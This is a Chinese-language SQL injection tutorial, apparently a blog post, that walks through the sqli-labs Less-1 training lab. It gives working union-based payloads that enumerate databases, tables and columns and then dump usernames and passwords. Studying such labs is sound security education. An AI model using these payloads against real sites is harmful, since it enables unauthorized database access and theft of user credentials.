SQL注入漏洞概述
1、什么是SQL注入漏洞
SQL注入漏洞是一个web层面的安全漏洞,web应用与数据库存在交互点,攻击者构建恶意SQL语句,欺骗数据库服务器执行非授权的查询。
2、如何判断网页是否存在SQL注入漏洞
1、web页面与数据库是否存在交互点,这个交互点就是注入点
常见注入点:URL和表单中的输入域
2、判断能否写入任意的sql语句到目标数据库并返回结果
3、SQL注入的类型:
按注入点分
字符型
数字型
按注入方式分
时间盲注
布尔盲注
报错注入
联合注入
堆叠注入
宽字节注入
4、常见的注释符
#
、--
、/**/
、%23
、--+
等等
5、常使用函数
database():查看数据库的名称
version():查看数据库的版本
user():查看数据库的使用者
group_concat():将参数拼接到一行进行输出
limit a,b:依次取值,从a+1的位置取b数量的值进行输出
hex():将参数进行16进制编码
unhex():将参数进行16进制解码
6、常用默认数据库中的表
information_schema.schemeta:存储了数据库当中所有数据库的库名
information_schema.tables:存储了数据库当中所有数据库表名
information_schema.columns:存储了数据库当中所有字段名
7、常用字段
table_schema:数据库名
table_name:数据表名
column_name:字段名
实操
寻找注入点
1、首先观察网页,没有看到任何的表单提交框,但是页面当中有一句提示Please input the ID as parameter with numeric value
,推断出注入点可能在url当中的id参数
2、那么根据提示,构造参数访问http://ip:1111/Less-1/?id=1
试试看,可以看到网站回显了用户的登录名和密码
3、再次测试http://ip:1111/Less-1/?id=2
,可以看到网站回显了另外的用户名和密码,由此判断,web页面和数据库存在交互。
判断注入类型以及是否能写入任意sql语句
1、首先我们使用逻辑词and判断是否为数字型,为了便于理解,我将猜测的数据查询语句写下来
select * from users where id=1 and 1=1
select * from users where id=1 and 1=2
and:
左右两边均为真时,输出为真;
左右两边均为假时,输出为假
如果这是数字型的sql注入,我们可以观察页面一个返回正确,一个返回错误,但是我们可以看到页面实际没有任何变化,说明这并非是一个数字型的sql注入
2、判断是否为字符型的sql注入,若为字符型的sql注入那么我们刚才用and测试的时候,后台查询语句将变为下面这这样
select * from users where id='1 and 1=1'
select * from users where id='1 and 1=2'
两次结果是相同的,在这里我产生了疑问,为什么输入的内容不相同,但是输出的结果相同?
这里我去查询了sqli-labs的数据库发现对id字段的定义是int型,Mysql会将传入的string(要赋值给int字段的)从左到右的第一个非数值开始,将后面的字符串转成0,再和和数值类型相加,'1 and 1=1'——>'1+0'——>1,那么两条语句都等效于select * from users where id=1
,所以查询到的结果是一样的,到此我想到一个有趣的查询语句,对此我新建了一个数据库。可以看到id并不是数字但是查询到了数据。
好了言归正传,现在我们接着验证是否为字符型的sql注入,首先人为将id参数闭合,并拼接,最末尾的引号用注释符注解掉
select * from users where id='1' and 1=1 -- -'
select * from users where id='1' and 1=2 -- -'
使用两种不同的方式查询,第一种成功查询到了数据,因为and左右两边皆为真;第二种没有查询到数据,因为左右两边有一边为假;由此判断此注入点为字符型的sql注入。
漏洞利用
1、使用order by+二分法
查询数据库有多少个字段。如图所示,第一次猜测5时有报错,第二次猜测3时没有报错,第三次猜测4验证一下结果报错,说明一共有3个字段
2、利用假 union select 1,2,3--+
查询这三个字段分别在,web界面什么位置回显;具体为什么能这样使用请参考这位博主的文章:https://blog.csdn.net/weixin_44840696/article/details/89166154
3、查询数据库名称:利用假 union select 1,database(),3--+
4、查询表名
假 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
:从系统默认存储所有表名的表information_schema.tables当中,查询'security'数据库当中的所有表的名字,并使用group_concat()拼接到一行
5、查询字段名
假 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
:从系统默认存储所有字段名的表information_schema.columns当中,查询'users'表当中的所有字段名,并使用group_concat()拼接到一行
6、查询字段值
假 union select 1,group_concat(id,":",username,":",password),3 from users--+